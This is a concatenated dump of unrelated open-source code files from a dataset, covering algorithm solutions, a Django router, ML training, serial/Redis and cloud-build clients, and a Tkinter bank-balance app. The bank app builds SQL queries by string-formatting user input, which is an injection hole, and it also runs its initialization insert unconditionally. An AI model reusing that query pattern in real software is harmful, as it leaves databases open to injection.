1\n\t\t\t\t\tsensors[1] = ((event[3] & 64) >> 6) == 1\n\t\t\t\t\tsensors[2] = ((event[3] & 32) >> 5) == 1\n\t\t\t\t\tsensors[3] = ((event[3] & 16) >> 4) == 1\n\t\t\t\t\tsensors[4] = ((event[3] & 8) >> 3) == 1\n\t\t\t\t\tsensors[5] = ((event[3] & 4) >> 2) == 1\n\t\t\t\t\tsensors[6] = ((event[3] & 2) >> 1) == 1\n\t\t\t\t\tsensors[7] = (event[3] & 1) == 1\n\t\t\t\t\te.setSensor(sensors)\n\n\t\t\t\t\tpictureType = event[0] & 0x0F\n\t\t\t\t\tif pictureSize:\n\t\t\t\t\t\tfilename = self.getImageName()\n\t\t\t\t\t\twith open(self.mediaDir + filename, 'wb') as f:\n\t\t\t\t\t\t\tfor i in range(0, pictureSize - 1):\n\t\t\t\t\t\t\t\tf.write(bytes([event[12 + i]]))\n\t\t\t\t\t\te.setImage(pictureType, pictureSize, filename)\n\n\t\t\t\t\t# Store record in db then print info to console\n\t\t\t\t\te.storeEvent()\n\t\t\t\t\tprint(e)\n\n\n\t\t\texcept sock_error as err:\n\t\t\t\tif err.errno != errno.ECONNRESET:\n\t\t\t\t\tprint(\"[Event Consumer] An unexpected socket error occured.\")\n\t\t\t\t\tprint(err)\n\t\t\t\telse:\n\t\t\t\t\tprint(\"[Event Consumer] Connection was reset, resuming to allow new connections.\")\n\t\t\t\t\tprint(\"[Event Consumer] %i bytes received before reset.\" % len(event))\n\n\n\n\n","repo_name":"BallisticBuddha/HomeSecurityProject","sub_path":"HSS_Server/EventConsumer.py","file_name":"EventConsumer.py","file_ext":"py","file_size_in_byte":4278,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"20710829861","text":"from django.urls import path\r\nfrom . import views\r\n\r\nurlpatterns = [\r\n path(\"\", views.starting_page, name=\"starting-page\"),\r\n path(\"new-car\", views.add_car, name=\"add-car\"),\r\n path('car/', views.car_details, name=\"car-detail\"),\r\n path('car/delete/', views.delete_car, name='delete-car'),\r\n path('refuel', views.refuel, name='refuel-car'),\r\n path('report', views.report, name='report'),\r\n path('service/done/', views.service_done, name=\"service-done\"),\r\n path('services', views.services, name=\"services\"),\r\n\r\n path('register', views.register_user, name=\"register\"),\r\n path('login', views.login_user, name=\"login\"),\r\n path('logout', views.logout_user, name=\"logout\"),\r\n \r\n]\r\n","repo_name":"kevinowski/fleet-management","sub_path":"cars/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71347364250","text":"#https://www.acmicpc.net/problem/18111\nimport sys\n\nN, M, B = map(int, sys.stdin.readline().split())\nground = []\nfor i in range(N):\n ground.extend(list(map(int, sys.stdin.readline().split())))\n\nmin_time = float('inf')\nmax_block = 0\n\nfor target_height in range(0, 257):\n time = 0\n block_needed = 0\n block_save = 0\n for height in ground:\n if height > target_height:\n time += (height - target_height) * 2\n block_save += height - target_height \n elif height < target_height:\n time += target_height - height\n block_needed += target_height - height\n if block_save + B < block_needed:\n continue\n if time < min_time:\n min_time = time\n max_block = target_height\n elif time == min_time:\n max_block = max(target_height, max_block)\nprint(min_time, max_block)\n\n#https://www.acmicpc.net/problem/11723\nclass Set():\n def __init__(self):\n self.s = {}\n for i in range(1, 21):\n self.s[i] = False\n \n def ft_add(self, x):\n self.s[x] = True\n \n def ft_remove(self, x):\n self.s[x] = False\n \n def ft_check(self, x):\n if self.s[x]:\n print(1)\n else:\n print(0)\n \n def ft_toggle(self, x):\n if self.s[x]:\n self.s[x] = False\n else:\n self.s[x] = True\n \n def ft_all(self):\n for i in range(1, 21):\n self.s[i] = True\n \n def ft_empty(self):\n for i in range(1, 21):\n self.s[i] = False\n\nimport sys\n\nM = int(input())\n\ns = Set()\nfor i in range(0, M):\n command = list(map(str, sys.stdin.readline().split()))\n if command[0] == \"add\":\n s.ft_add(int(command[1]))\n elif command[0] == \"check\":\n s.ft_check(int(command[1]))\n elif command[0] == \"remove\":\n s.ft_remove(int(command[1]))\n elif command[0] == \"toggle\":\n s.ft_toggle(int(command[1]))\n elif command[0] == \"all\":\n s.ft_all()\n elif command[0] == \"empty\":\n s.ft_empty()\n\n#https://www.acmicpc.net/problem/11399\nimport sys\n\nN = int(input())\ntime = list(map(int, sys.stdin.readline().split()))\ntime.sort()\n\nmin_time = 0\nfor i in range(len(time)):\n min_time += time[i] * (len(time) - i)\nprint(min_time)\n\n#https://www.acmicpc.net/problem/17219\nimport sys\n\nN, M = map(int, sys.stdin.readline().split())\npasswords = {}\nfor i in range(N):\n site, password = map(str, sys.stdin.readline().strip().split())\n passwords[site] = password\n\nfor i in range(M):\n site = sys.stdin.readline().strip()\n print(passwords[site])","repo_name":"SUNMI-KIM/algorithm_workbook","sub_path":"backjoon/2023_05_25.py","file_name":"2023_05_25.py","file_ext":"py","file_size_in_byte":2590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6884184127","text":"from sregistry.logger import bot\nfrom sregistry.main import ApiConnection\nimport json\nimport os\n\nfrom retrying import retry\nimport google\nimport platform\nfrom google.cloud import storage\nfrom googleapiclient.discovery import build as discovery_build\nfrom oauth2client.client import GoogleCredentials\n\nfrom .build import (\n build,\n build_repo,\n build_status,\n run_build,\n finish_build,\n submit_build,\n load_build_config,\n)\nfrom .delete import delete, destroy\nfrom .logs import logs, list_logs, print_log\nfrom .pull import pull\nfrom .push import push, upload\nfrom .query import container_query, list_containers, search, search_all\n\n\nclass Client(ApiConnection):\n # Custom variables that can be provided with client.get_client\n envars = {}\n\n def __init__(self, secrets=None, base=None, init=True, **kwargs):\n self._update_secrets()\n self._update_headers()\n\n # Do we need storage client now?\n if init is True:\n self._init_client()\n\n super(Client, self).__init__(**kwargs)\n\n def _speak(self):\n \"\"\"add the bucket name to be printed to the user at appropriate times\"\"\"\n bot.info(\"[bucket][%s]\" % self._bucket_name)\n\n def _update_secrets(self):\n \"\"\"The user is required to have an application secrets file in his\n or her environment. The information isn't saved to the secrets\n file, but the client exists with error if the variable isn't found.\n \"\"\"\n env = \"GOOGLE_APPLICATION_CREDENTIALS\"\n self._secrets = self._get_and_update_setting(env, self.envars.get(env))\n if not self._secrets:\n bot.exit(\"You must export %s to use Google Storage client\" % env)\n\n def _init_client(self):\n \"\"\"init client will check if the user has defined a bucket that\n differs from the default, use the application credentials to\n get the bucket, and then instantiate the client.\n \"\"\"\n\n # Get storage and compute services\n self._get_services()\n\n env = \"SREGISTRY_GOOGLE_STORAGE_BUCKET\"\n self._bucket_name = self._get_and_update_setting(env, self.envars.get(env))\n\n # If the user didn't set in environment, use default\n if not self._bucket_name:\n fallback_name = os.environ.get(\"USER\", platform.node())\n self._bucket_name = \"sregistry-gcloud-build-%s\" % fallback_name\n\n # The build bucket is for uploading .tar.gz files\n self._build_bucket_name = \"%s_cloudbuild\" % self._bucket_name\n\n # Main storage bucket for containers, and dependency bucket with targz\n self._bucket = self._get_bucket(self._bucket_name)\n self._build_bucket = self._get_bucket(self._build_bucket_name)\n\n def _get_services(self, version=\"v1\"):\n \"\"\"get version 1 of the google compute and storage service\n\n Parameters\n ==========\n version: version to use (default is v1)\n \"\"\"\n self._bucket_service = storage.Client()\n creds = GoogleCredentials.get_application_default()\n self._storage_service = discovery_build(\"storage\", version, credentials=creds)\n self._build_service = discovery_build(\"cloudbuild\", version, credentials=creds)\n\n def _get_bucket(self, bucket_name):\n \"\"\"get a bucket based on a bucket name. If it doesn't exist, create it.\n\n Parameters\n ==========\n bucket_name: the name of the bucket to get (or create). It should\n not contain google, and should be all lowercase with -\n or underscores.\n \"\"\"\n\n # Case 1: The bucket already exists\n try:\n bucket = self._bucket_service.get_bucket(bucket_name)\n\n # Case 2: The bucket needs to be created\n except google.cloud.exceptions.NotFound:\n bucket = self._bucket_service.create_bucket(bucket_name)\n\n # Case 2: The bucket name is already taken\n except:\n bot.exit(\"Cannot get or create %s, is the name taken?\" % bucket_name)\n\n return bucket\n\n def _get_project(self, project=None):\n \"\"\"get project returns the active project, and exists if not found.\n\n Parameters\n ==========\n project: a project to default to, if not found in the environment\n zone: a default zone, will be us-west1-a by default\n\n \"\"\"\n if project is None:\n project = self.envars.get(\"SREGISTRY_GOOGLE_PROJECT\")\n\n return self._get_and_update_setting(\"SREGISTRY_GOOGLE_PROJECT\", project)\n\n def _get_zone(self, zone=\"us-west1-a\"):\n \"\"\"get zone returns the zone set in the environment, or the default\n\n Parameters\n ==========\n zone: a default zone, will be us-west1-a by default\n\n \"\"\"\n return self._get_and_update_setting(\"SREGISTRY_GOOGLE_ZONE\", zone)\n\n\nClient.pull = pull\nClient.push = push\nClient._upload = upload\nClient.delete = delete\nClient.destroy = destroy\n\n# Build functions\nClient.build = build\nClient.build_repo = build_repo\nClient._run_build = run_build\nClient._finish_build = finish_build\nClient._build_status = build_status\nClient._submit_build = submit_build\nClient._load_build_config = load_build_config\n\nClient.search = search\nClient._search_all = search_all\nClient._container_query = container_query\nClient._list_containers = list_containers\n","repo_name":"singularityhub/sregistry-cli","sub_path":"sregistry/main/google_build/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5339,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"32"} +{"seq_id":"71882989852","text":"import tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras import datasets\nimport os\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2' # 只打印Error信息,0:全部打印\n\n# 手动实现前向传播过程\n# ================ step1 data prepared ================\n# datasets:keras提供的管理数据的工具\n# x: [60k, 28, 28],\n# y: [60k]\n(x, y), (x_test, y_test) = datasets.mnist.load_data()\n# numpy 2 tensor\n# x: [0~255] => [0~1.]\nx = tf.convert_to_tensor(x, dtype=tf.float32) / 255. # -1~1的范围更好优化\ny = tf.convert_to_tensor(y, dtype=tf.int32)\nx_test = tf.convert_to_tensor(x_test, dtype=tf.float32) / 255. # -1~1的范围更好优化\ny_test = tf.convert_to_tensor(y_test, dtype=tf.int32)\nprint(x.shape, x.dtype)\nprint(y.shape, y.dtype)\nprint(tf.reduce_min(x), tf.reduce_max(x))\nprint(tf.reduce_min(y), tf.reduce_max(y))\n\n# 创建数据集,方便一次取一个batch\ntrain_db = tf.data.Dataset.from_tensor_slices((x, y)).batch(128)\ntest_db = tf.data.Dataset.from_tensor_slices((x_test, y_test)).batch(128)\n# 窥探train_db\ntrain_iter = iter(train_db)\nprint(train_iter)\nsample = next(train_iter) # 拿出其中一个batch训练集,(samples,labels) => ([b,28,28],[b])\nprint('one batch:', sample[0].shape, sample[1].shape)\n# 窥探train_db\n\n# ================ step2 create variables ================\n# model : [b, 784] => [b, 256] => [b, 128] => [b, 10]\n# 声明可训练参数。必须要有tf.Variable()来包装,否则求变量梯度时,其梯度值不会被保留\n# w:[dim_in, dim_out], b:[dim_out]\nw1 = tf.Variable(tf.random.truncated_normal([784, 256], stddev=0.1)) # 初始值非常重!!若初始权重很大,将导致发散,或者收敛很慢,建议选择很小的初始权重值。\nb1 = tf.Variable(tf.zeros([256]))\nw2 = tf.Variable(tf.random.truncated_normal([256, 128], stddev=0.1))\nb2 = tf.Variable(tf.zeros([128]))\nw3 = tf.Variable(tf.random.truncated_normal([128, 10], stddev=0.1))\nb3 = tf.Variable(tf.zeros([10]))\n\nlr = 1e-3 # 学习率\n\n# ================ step3 build and train model ================\nfor epoch in range(50): # iterate db for 10。因为每次都是在相同训练集上训练,故最后能达到的优化效果是由上限的,深度学习的核心还是Big Data\n for step, (x, y) in enumerate(train_db): # step:第几批batch\n # x:[128, 28, 28]\n # y: [128]\n # [b, 28, 28] => [b, 28*28]\n x = tf.reshape(x, [-1, 28 * 28]) # 因为第一层是全连接层,节点为一维向量,需要预处理图像平展为一维向量输入\n\n with tf.GradientTape() as tape: # 自动求解参数梯度的环境\n # x: [b, 28*28]\n # h1 = x@w1 + b1\n # [b, 784]@[784, 256] + [256] => [b, 256] + [256] => [b, 256] + [b, 256]\n h1 = x @ w1 + b1 # 自动Broadcasting + tf.broadcast_to(b1,[x.shape[0],256])\n h1 = tf.nn.relu(h1)\n # [b, 256] => [b, 128]\n h2 = h1 @ w2 + b2\n h2 = tf.nn.relu(h2)\n # [b, 128] => [b, 10]\n out = h2 @ w3 + b3 # 最后一层一般不用或用sigmoid\n\n # ================ step4 compute loss ================\n # out: [b, 10]\n # y: [b] => [b, 10]\n y_onehot = tf.one_hot(y, depth=10) # depth为分类类别。因为训练时需要最小化loss,而loss的计算基于one-hot的,故训练时需要one-hot,测试、验证时不需要\n # mse = mean(sum(y-out)^2)\n # [b, 10]\n loss = tf.square(y_onehot - out)\n loss = tf.reduce_mean(loss) # ==> loss 矩阵求和再 除以 b*10,变为标量\n\n # ================ step5 compute variables ================\n grads = tape.gradient(loss, [w1, b1, w2, b2, w3, b3])\n # ================ step6 update gradients ================\n # w1 = w1 - lr * w1_grad\n w1.assign_sub(lr * grads[0]) # 注意这里不能使用 w1 = w1 - lr*grads[0] ,这将导致w1又变成 tensor而非Variable,以后无法记录梯度\n b1.assign_sub(lr * grads[1])\n w2.assign_sub(lr * grads[2])\n b2.assign_sub(lr * grads[3])\n w3.assign_sub(lr * grads[4])\n b3.assign_sub(lr * grads[5])\n\n if step % 100 == 0:\n print(epoch, step, 'loss:', float(loss))\n\n # test/evaluation:在当前参数下测试、验证模型的准确率。前向过程与训练时一样,只是无需计算loss,无需对y_test one-hot编码\n # [w1, b1, w2, b2, w3, b3]\n total_correct, total_num = 0, 0\n for step, (x, y) in enumerate(test_db):\n # y:直接的分类类别\n # 预处理,将图像展平 [b, 28, 28] => [b, 28*28]\n x = tf.reshape(x, [-1, 28 * 28])\n # 前向过程 [b, 784] => [b, 256] => [b, 128] => [b, 10]\n h1 = tf.nn.relu(x @ w1 + b1)\n h2 = tf.nn.relu(h1 @ w2 + b2)\n out = h2 @ w3 + b3\n # out: [b, 10] ~ R\n # prob: [b, 10] ~ [0, 1]\n # 将输出转为概率值\n prob = tf.nn.softmax(out, axis=1) # 同时softmax保证概率和为1\n # [b, 10] => [b]\n # int64!!!\n # 预测类别,与y比较\n pred = tf.argmax(prob, axis=1)\n pred = tf.cast(pred,dtype=tf.int32) # 需要类型转换。因为y是int32,否则无法tf.equal()\n correct = tf.reduce_sum(tf.cast(tf.equal(pred, y),dtype=tf.int32))\n\n total_correct += int(correct) # tensor --> python int\n total_num += x.shape[0]\n\n acc = total_correct / total_num\n print(\"test acc:\", acc)\n","repo_name":"tp-yan/PycharmProject","sub_path":"ForTensorFlow2/05DataLoad/03evaluate_acc.py","file_name":"03evaluate_acc.py","file_ext":"py","file_size_in_byte":5508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"10280567453","text":"from nltk import FreqDist\nfrom nltk.corpus import words\n\npuzzle_letters = FreqDist('egivrvonl')\n\nobligatory = 'r'\n\nwordlist = words.words()\n\nresult = [w for w in wordlist if len(w) > 5 and obligatory in w and FreqDist(w) <= puzzle_letters]\n\nprint(result)\n","repo_name":"katalogoc/librarian","sub_path":"src/egivrvonl.py","file_name":"egivrvonl.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"25163183446","text":"#!/usr/bin/env python3\n\nimport time, serial\nimport threading as th\nimport configparser as cp\n# -- system --\nfrom core.utils import sysUtils\nfrom core.redisOps import redisOps\nfrom core.logutils import logUtils\nfrom core.meterInfoData import meterInfoData\nfrom ommslib.shared.core.datatypes import redisDBIdx, readStatus\n\n\nclass pzemRedisBot(th.Thread):\n\n def __init__(self, SYS_INI: cp.ConfigParser, redops: redisOps):\n super().__init__()\n self.sys_ini: cp.ConfigParser = SYS_INI\n self.sec: cp.SectionProxy = self.sys_ini[\"PZEM\"]\n self.dev: str = self.sec.get(\"SERIAL_DEV\", \"/dev/ttyUSB0\")\n self.baudrate: int = self.sec.getint(\"SERIAL_BAUDRATE\", 19200)\n self.syspath_channel = self.sec.get(\"SYSPATH_CHANNEL\")\n tmp: str = self.sec.get(\"DIAG_TAG\")\n self.diag_tag = sysUtils.set_systag(tmp)\n self.ser: serial.Serial = serial.Serial(port=self.dev, baudrate=self.baudrate)\n self.redops: redisOps = redops\n self.start_dts_dts_utc = sysUtils.dts_utc()\n self.last_msg_dts_utc = \"\"\n self.m_info: meterInfoData = \\\n meterInfoData(\"e1\", \"Peacefair\", \"PZEM-004T AC 100A\")\n self.first_reads: [] = []\n\n def run(self):\n pub_channel: str = self.sec.get(\"REDIS_PUB_CHNL\")\n pub_channel = sysUtils.set_systag(pub_channel)\n _dict = {\"boot_dts_utc\": sysUtils.dts_utc(), \"dev\": self.dev\n , \"lan_ip\": sysUtils.lan_ip(), \"hostname\": sysUtils.HOST\n , \"pub_reads_channel\": pub_channel}\n self.redops.update_edge_diag(self.diag_tag, mapdct=_dict, restart=True)\n while True:\n self.__run_loop()\n\n def __read_string(self) -> str:\n barr: bytearray = bytearray()\n while True:\n __char = self.ser.read()\n # -- start char --\n if chr(__char[0]) == '#':\n barr.clear()\n barr.extend(__char)\n # -- test end --\n if chr(__char[0]) == '!':\n break\n # -- --\n return barr.decode(\"utf-8\")\n\n def __run_loop(self):\n try:\n # -- -- -- -- -- -- -- -- -- -- -- --\n CHANNEL = \"PZEM\"\n buff = None\n time.sleep(0.48)\n if self.ser.inWaiting():\n buff = self.__read_string()\n # -- -- -- -- -- -- -- -- -- -- -- --\n if buff is None:\n return\n # -- -- -- -- -- -- -- -- -- -- -- --\n if buff.startswith(\"#\") and buff.endswith(\"!\"):\n __dict = {\"last_msg_dts_utc\": sysUtils.dts_utc(), \"last_msg\": buff}\n self.redops.update_edge_diag(diag_tag=self.diag_tag, mapdct=__dict)\n # -- -- -- -- -- -- -- -- -- -- -- --\n print(buff)\n if not buff.startswith(\"#RPT|PZEM:SS_\"):\n return\n # -- -- -- -- -- -- -- -- -- -- -- --\n arr: [] = buff.split(\"|\")\n arr[0] = \"#RPT:kWhrs\"\n pzem_ss = arr[1].split(\":\")[1]\n arr.insert(1, f\"DTSUTC:{sysUtils.dts_utc()}\")\n arr.insert(2, f\"EPOCH:{sysUtils.dts_epoch()}\")\n syspath: str = sysUtils.syspath(self.syspath_channel, pzem_ss)\n arr.insert(3, f\"PATH:{syspath}\")\n buff = \"|\".join(arr)\n # -- -- publish & set -- --\n dtsutc, epoch = sysUtils.dtsutc_epoch()\n _d: {} = {\"#RPT_kWhrs_STATUS\": f\"{dtsutc} | {epoch} | {readStatus.READ_OK}\"\n , \"#RPT_kWhrs\": f\"[{buff[:-1]}]\"\n , \"CHANNEL_TYPE\": CHANNEL\n , \"LAST_READ\": f\"#RPT_kWhrs | {readStatus.READ_OK} | {sysUtils.dts_utc(with_tz=True)}\"\n , self.m_info.red_key: str(self.m_info)}\n # -- -- -- -- -- -- -- --\n if syspath not in self.first_reads:\n self.redops.red.select(redisDBIdx.DB_IDX_READS.value)\n self.redops.red.delete(syspath)\n self.first_reads.append(syspath)\n # -- -- -- -- -- -- -- --\n self.redops.save_meter_data(syspath, _dict=_d)\n self.redops.pub_read_on_sec(\"PZEM\", _buff=f\"({buff[:-1]})\")\n # -- -- -- -- -- -- -- -- -- -- -- --\n except Exception as e:\n logUtils.log_exp(e)\n time.sleep(2.0)\n","repo_name":"ErikOwsiak/omms-edge","sub_path":"core/pzemRedisBot.py","file_name":"pzemRedisBot.py","file_ext":"py","file_size_in_byte":4028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1587627835","text":"#/usr/bin/python\n\n#identify open reading frames, start/stop codons\n\n#import glob\nimport os,sys\n#import numpy\n\n#os.chdir(\"C:/Users/mshpak/Desktop/Covid_19/April_15_MSA\")\n\ndef main(file): \n input_filename = file\n\n seq_file = open(input_filename, \"r\")\n new_seq_file = open(input_filename.split(\".\")[0]+\"_new_name_file\", \"w\") #create file with new sequence names\n table_for_dict = open(input_filename.split(\".\")[0]+\"_name_dict_file\", \"w\") #tab-separated table with temporary name and sequence name\n seq_name_dict = {}\n\n allseq = ''\n index_for_dict = 0\n seq_identify = []\n for line in seq_file:\n #line = line.upper()\n #line = line.rstrip('\\n')\n if 'HCOV' in line or '>' in line:\n index_for_dict = index_for_dict + 1\n ind_name = '>seq_' + str(index_for_dict)\n seq_name_dict.update({ind_name: line.rstrip('\\n')})\n new_seq_file.write(ind_name + '\\n')\n table_for_dict.write(ind_name + '\t' + line)\n else:\n new_seq_file.write(line)\n allseq = allseq + line\n\n new_seq_file.close()\n\nif __name__ == \"__main__\":\n\tmain()\n","repo_name":"wonaya/covid_workflow","sub_path":"scripts/Shorten_Sequence_name.py","file_name":"Shorten_Sequence_name.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8140973561","text":"import sys\r\ninput = sys.stdin.readline\r\nfrom collections import deque\r\n\r\nN, K = map(int, input().split())\r\nbelt = deque(list(map(int, input().split())))\r\nrobot = [0] * N # N-1위치에서 로봇 내림\r\n\r\nzero_cnt = 0\r\nanswer = 0\r\n\r\nwhile True:\r\n answer += 1\r\n\r\n # [1] 벨트 이동, 로봇 회전 / 로봇 내림\r\n belt.appendleft(belt.pop())\r\n robot = [0] + robot[:-1]\r\n robot[N-1] = 0\r\n\r\n # [2] 로봇여부 판단, 로봇 우측이동\r\n for i in range(N-2, 0, -1):\r\n if robot[i] == 1 and robot[i+1] == 0 and belt[i+1] > 0:\r\n robot[i], robot[i+1] = 0, 1\r\n belt[i+1] -= 1\r\n if belt[i+1] == 0:\r\n zero_cnt += 1\r\n\r\n # [3] 로봇 올리기\r\n if belt[0] > 0:\r\n robot[0] = 1\r\n belt[0] -= 1\r\n if belt[0] == 0:\r\n zero_cnt += 1\r\n\r\n # [4] 0개수 판단\r\n if zero_cnt >= K:\r\n break\r\n\r\nprint(answer)","repo_name":"Semibro/Baekjoon","sub_path":"백준/Gold/20055. 컨베이어 벨트 위의 로봇/컨베이어 벨트 위의 로봇.py","file_name":"컨베이어 벨트 위의 로봇.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2498163344","text":"from Tkinter import *\nimport sqlite3\nimport time\n\nconn = sqlite3.connect( 'transactions.db' )\nc = conn.cursor()\n\nroot = Tk()\n\n#Initialize the Record table & set initial Amount = 0\nc.execute(\"CREATE TABLE IF NOT EXISTS Record(DateTime TEXT, Amount REAL, Note TEXT, Balance REAL);\")\n\ndef deposit(): \n global newBalance, amount\n #Call convertRaw function\n convertRaw() \n \n #Add deposit value to the current balance and get current time\n amount = float( add.get() ) \n newBalance = amount + currentBalance \n entryTime = time.ctime()\n \n #Call runSql to add a new entry to database\n runSql( \"INSERT INTO Record VALUES( '{0}', '{1}', '{2}', '{3}' )\".format( entryTime, amount, addNote.get(), newBalance ) )\n conn.commit()\n\n # Call showEntries to show updated list of transactions\n showEntries()\n\n cbEntry.delete( 0, END )\n cbEntry.insert( 0, newBalance )\n\n # Clear the deposit entries\n depEntry.delete( 0, END )\n dnEntry.delete( 0, END )\n\n return newBalance, amount\n \n\ndef withdrawl():\n # Call convertRaw to get balance from database\n convertRaw()\n # Setting global variables to 0 before assigning new values\n newBalance = 0\n amount = 0\n # Change amount to negative value and calculate newBalance\n amount = float( minus.get() ) * -1 \n newBalance = amount + currentBalance\n\n entryTime = time.ctime()\n \n #Call runSql to add a new entry to database\n runSql( \"INSERT INTO Record VALUES( '{0}', '{1}', '{2}', '{3}' )\".format( entryTime, amount, minusNote.get(), newBalance ) )\n conn.commit()\n\n showEntries()\n\n cbEntry.delete( 0, END )\n cbEntry.insert( 0, newBalance ) \n \n # Clear the withdrawl entries \n witEntry.delete( 0, END )\n wnEntry.delete( 0, END )\n\n return newBalance, amount\n\n\n# Function to change the memory location retrieved from database into a useful number\ndef convertRaw():\n global currentBalance \n currentBalance = 0\n #Get current balance from database and change it into a useful number\n cb = c.execute( \"SELECT SUM( Amount ) FROM Record\" ) \n rawBalance = [ c.fetchone() ] \n w = str( rawBalance ) \n x = w[ 2 : ( len( w ) - 3 ) ] \n currentBalance = float( x ) \n\n return currentBalance\n\n\n# Function to run sql command and then call showEntries()\ndef runSql( cmd ):\n x = c.execute( cmd )\n conn.commit() \n \n \n# Function to display the database\ndef showEntries():\n global entries\n ptBox.delete( 0, END )\n tranList = c.execute ( \"SELECT DateTime, Amount, Note, Balance FROM Record WHERE Balance != 0 ORDER BY DateTime DESC\" )\n entries = tranList.fetchall()\n for DateTime, Amount, Note, Balance in entries:\n ptBox.insert( END, 'NEW ENTRY', DateTime, Amount, Note, Balance, '----------' )\n\n\nif \"SELECT COUNT(*) FROM Record = 0\":\n c.execute( \"INSERT INTO Record VALUES( null, 0, 'Initialize', 0)\" )\n\n# Function to make GUI window\ndef makeWindow():\n\n global add, minus, addNote, minusNote, ptBox, cbEntry, depEntry, dnEntry, witEntry, wnEntry\n\n win = Toplevel( root )\n win.title( 'Bank Account Balance' )\n\n topFrame = Frame( win )\n topFrame.pack()\n\n #Current Balance Label and Entry\n cbLabel = Label( topFrame, text = 'Your Current Balance Is: ', padx = 3 )\n cbLabel.grid( row = 1, column = 0 )\n\n cbEntry = Entry( topFrame )\n cbEntry.grid( row = 1, column = 1 )\n\n #Button to add to balance, entry for doing it \n depButton = Button( topFrame, text = 'Deposit', command = deposit )\n depButton.grid( row = 2, column = 0, padx = 5, pady = 2 )\n\n add = StringVar()\n depEntry = Entry( topFrame, textvariable = add )\n depEntry.grid( row = 2, column = 1, padx = 2 )\n\n #label and entry for deposit note \n dnLabel = Label( topFrame, text = 'Deposit Note: ', padx = 5 )\n dnLabel.grid( row = 3, column = 0 )\n\n addNote = StringVar()\n dnEntry = Entry( topFrame, textvariable= addNote )\n dnEntry.grid( row = 3, column = 1, padx = 2 )\n\n #Button to withdraw, entry for doing it \n witButton = Button( topFrame, text = 'Withdrawl', command = withdrawl )\n witButton.grid( row = 5, column = 0, padx = 5, pady = 2 )\n\n minus = StringVar()\n witEntry = Entry( topFrame, textvariable = minus )\n witEntry.grid( row = 5, column = 1, padx = 2 )\n\n #label and entry for withdrawl note \n wnLabel = Label( topFrame, text = 'Withdrawl Note: ', padx = 5 )\n wnLabel.grid( row = 6, column = 0 )\n\n minusNote = StringVar()\n wnEntry = Entry( topFrame, textvariable = minusNote )\n wnEntry.grid( row = 6, column = 1, padx = 2 )\n\n\n bottomFrame = Frame( win )\n bottomFrame.pack()\n\n #label and listbox to display past transactions\n ptLabel = Label( bottomFrame, text = 'Past Transactions:', padx = 5, pady = 2 )\n ptLabel.grid( row = 8, column = 0, pady = 2 ) \n\n ptBox = Listbox( bottomFrame, width = 30, height = 12 )\n ptBox.grid( row = 9, column = 0, padx = 2 ) \n \n scrollbar = Scrollbar( bottomFrame, orient = VERTICAL )\n scrollbar.grid( row = 9, column = 1, sticky = NS )\n scrollbar.configure( command = ptBox.yview ) \n\n ptBox.configure( yscrollcommand = scrollbar.set )\n \n return win\n\n\nwin = makeWindow()\nwin.mainloop()","repo_name":"william-stanford/PythonFinalProject","sub_path":"PythonFinalProject/PythonFinalProject.py","file_name":"PythonFinalProject.py","file_ext":"py","file_size_in_byte":5278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} diff --git a/4112.jsonl b/4112.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/4114.jsonl b/4114.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..c29db12683a4d3a26ebd40e6694e18eb485f75be --- /dev/null +++ b/4114.jsonl @@ -0,0 +1,635 @@ +{"seq_id":"631888591","text":"#Time Complexity : O(N)\n#Space Complexity: O(N)\n#Yes it ran on leetcode\n\n\nclass Solution(object):\n def buildTree(self, preorder, inorder):\n global dic\n dic = {}\n global idx\n idx = 0\n if len(preorder) == 0 and len(inorder) == 0:\n return None\n for i in range(len(inorder)):\n dic[inorder[i]] = i\n return self.helper(preorder, inorder, 0, len(inorder) - 1)\n\n def helper(self, preorder, inorder, start, end):\n global dic\n global idx\n # base\n if idx == len(preorder) or start > end:\n return None\n\n # logic\n\n rootIdx = dic[preorder[idx]]\n root = TreeNode(preorder[idx])\n idx += 1\n root.left = self.helper(preorder, inorder, start, rootIdx - 1)\n root.right = self.helper(preorder, inorder, rootIdx + 1, end)\n\n return root","sub_path":"Construct_Binary_Tree.py","file_name":"Construct_Binary_Tree.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"225415147","text":"#!/usr/bin/env python3\n\nimport urllib.request\nimport iterm2\n\n\nasync def main(connection):\n component = iterm2.StatusBarComponent(\n short_description=\"Show PublicIP\",\n detailed_description=\"Show Public IP Address\",\n knobs=[],\n exemplar=\"[Public IP]\",\n update_cadence=30,\n identifier=\"koh-sh.iterm2-statusbar-scripts.publicip\"\n )\n\n @iterm2.StatusBarRPC\n async def showpublicip(knobs):\n url = 'http://checkip.amazonaws.com/'\n try:\n req = urllib.request.Request(url)\n with urllib.request.urlopen(req) as res:\n body = res.read()\n return \"PublicIP: \" + str(body.decode()).replace(\"\\n\", \"\")\n except Exception:\n return \"No Connection\"\n\n await component.async_register(connection, 